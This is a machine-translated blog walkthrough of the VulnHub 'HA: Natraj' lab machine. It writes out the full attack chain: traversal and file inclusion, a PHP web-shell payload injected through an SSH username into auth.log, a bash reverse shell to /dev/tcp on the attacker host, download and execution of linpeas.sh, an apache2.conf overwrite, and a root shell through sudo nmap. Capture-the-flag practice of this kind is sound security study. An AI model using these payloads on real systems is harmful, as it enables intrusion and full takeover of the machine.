当前位置:网站首页>vulnhub HA: Natraj
vulnhub HA: Natraj
2022-07-03 04:16:00 【Fairy elephant】
Infiltrate ideas :
nmap scanning ----dirb Scan the website directory ----ffuf Blast url Parameters ---- utilize auth.log and LFI Get a bounce shell---- modify /etc/apache2/apache2.conf get mahakal Of shell----sudo nmap Raise the right
environmental information :
Drone aircraft :192.168.101.78
attack :192.168.101.34
Specific steps :
1、nmap scanning
sudo nmap -sV -sC -p- 192.168.101.78
2、dirb Scan the website directory
dirb http://192.168.101.78Scan to directory http://192.168.101.78/console/

The browser accesses the directory , Documents found file.php

Intuition tells me that there may be a file containing loopholes
3、ffuf Blast url Parameters
ffuf -u 'http://192.168.101.78/console/file.php?FUZZ=../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0among FUZZ It is the placeholder string of the parameter name that needs brute force cracking
Blast out the parameter name file

Browser access http://192.168.101.78/console/file.php?file=../../../../etc/passwd
You can see the of the target /etc/passwd The contents of the document

4、 Use user authentication logs and LFI Get a bounce shell
Browser access http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log, Found to have access
Try to use natraj Conduct ssh Sign in , And enter the wrong password ( I don't know the correct password anyway )
ssh [email protected]Then use the browser to access http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log, Find out /var/log/auth.log Recorded in ssh Login user name

So it can be ssh When logging in php Code is inserted as user name , such php The code will be written /var/log/auth.log, The Local File Inclusion Vulnerability of the website includes /var/log/auth.log It will trigger writing php Code execution .
ssh Log in to the target , The user is called "<?php system(\$_GET[xiannv]); ?>", Enter the password casually
ssh "<?php system(\$_GET[xiannv]); ?>"@192.168.101.78
Browser access http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log&xiannv=id
You can get id Command execution results , Indicates inserted php Code effective

Next, monitor on the attack plane 8888 port
nc -nlvp 8888It is then accessed in a browser
among xiannv Parameter values for url Before coding is bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'
Get rebound shell

5、 modify /etc/apache2/apache2.conf get mahakal Of shell
Download from the attacker linpeas.sh
First attack the aircraft linpeas.sh From... Under the directory http service , such as
python2 -m SimpleHTTPServer 80Then the target shell Execute the following command , Download and execute linpeas.sh, Check for possible claims
[email protected]:/tmp$ wget http://192.168.101.34/linpeas.sh
[email protected]:/tmp$ chmod +x linpeas.sh
[email protected]:/tmp$ ./linpeas.shlinpeas.sh Discover file permissions 777 The file of /etc/apache2/apache2.conf, The document is apache2 Primary profile for

In this file User Parameter sets the user of the child process that actually provides the service ,Group Parameter sets the user group of the running sub process of the service .
The original values of these two parameters are as follows , You can modify the values of these two parameters in step 4 The rebound obtained when shell Become other users and groups .
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

Here I tried natraj、root、mahakal, Only mahakal Sure .
Change to natraj Although you can get natraj Rebound of shell, but natraj No one can sudo The order of ( Or is it sudo -l Need a password , Forget which of these two reasons -_-|||);
Change to root When , The main page (http://192.168.101.78) Can open the , however http://192.168.101.78/console/file.php Cannot be opened , I don't know why , I guess there may be some security restrictions .
Because the target cannot be executed vim, So I put /etc/apache2/apache2.conf Copy to the attacker and modify User and Group by mahakal, And save
User mahakal
Group mahakal
Enter on the target /tmp Catalog , Download the modified... From the attacker apache2.conf, And copy it to /etc/apache2/apache2.conf
[email protected]:/tmp$ wget http://192.168.101.34/apache2.conf
[email protected]:/tmp$ cp /tmp/apache2.conf /etc/apache2/apache2.conf
Then I wanted to restart apache2 Of , however www-data It seems that the user does not have permission in this regard , Second, restart the system , but www-data Users also do not have permission in this regard , Only in vmware Restart the virtual machine on
Repeat the steps after restarting 4 Get a rebound shell The operation of , obtain mahakal Rebound of shell.
perform sudo -l, Find out mahakal Sure sudo perform nmap command

6、sudo nmap Raise the right
stay GTFOBins It's on the Internet nmap Sure sudo Raise the right
According to the instructions of the website, enter the following commands in sequence
[email protected]:/var/www/html/console$ TF=$(mktemp)
[email protected]:/var/www/html/console$ echo 'os.execute("/bin/bash")' > $TF
[email protected]:/var/www/html/console$ sudo nmap --script=$TFget root User shell

find proof:/root/root.txt

边栏推荐
- Practical operation of vim
- 2022 mobile crane driver examination registration and mobile crane driver operation examination question bank
- [set theory] set concept and relationship (true subset | empty set | complete set | power set | number of set elements | power set steps)
- MySQL create table
- [brush questions] most elements (super water king problem)
- Appium automated testing framework
- How to process the current cell with a custom formula in conditional format- How to address the current cell in conditional format custom formula?
- The longest subarray length with a positive product of 1567 recorded by leecode
- mysql字段userid逗号分开保存按userid查询
- 竞品分析撰写
猜你喜欢

Mutex and rwmutex in golang

The latest activation free version of Omni toolbox

第十届中国云计算大会·中国站:展望未来十年科技走向

2022deepbrainchain biweekly report no. 104 (01.16-02.15)

2022 Shandong Province safety officer C certificate examination questions and Shandong Province safety officer C certificate simulation examination question bank

What can learning pytorch do?

Nodejs Foundation: shallow chat URL and querystring module

CVPR 2022 | Dalian Institute of technology proposes a self calibration lighting framework for low light level image enhancement of real scenes

redis 持久化原理

Is it better to speculate in the short term or the medium and long term? Comparative analysis of differences
随机推荐
Basic syntax of class
vim 的实用操作
JS realizes the animation effect of text and pictures in the visual area
540. Single element in ordered array
[mathematical logic] predicate logic (toe normal form | toe normal form conversion method | basic equivalence of predicate logic | name changing rules | predicate logic reasoning law)
[文献阅读] Sparsity in Deep Learning: Pruning and growth for efficient inference and training in NN
国产PC系统完成闭环,替代美国软硬件体系的时刻已经到来
2022 beautician (intermediate) new version test questions and beautician (intermediate) certificate examination
[NLP]—sparse neural network最新工作简述
商城系统搭建完成后需要设置哪些功能
Xrandr modifier la résolution et le taux de rafraîchissement
2022 polymerization process examination questions and polymerization process examination skills
树莓派如何连接WiFi
[set theory] set concept and relationship (true subset | empty set | complete set | power set | number of set elements | power set steps)
What's wrong with SD card data damage? How to recover SD card data damage
[Blue Bridge Road -- bug free code] interpretation of some codes of matrix keyboard
How does the pytorch project run?
leetcode:297. Serialization and deserialization of binary tree
GFS分布式文件系统(光是遇见已经很美好了)
Dismantle a 100000 yuan BYD "Yuan". Come and see what components are in it.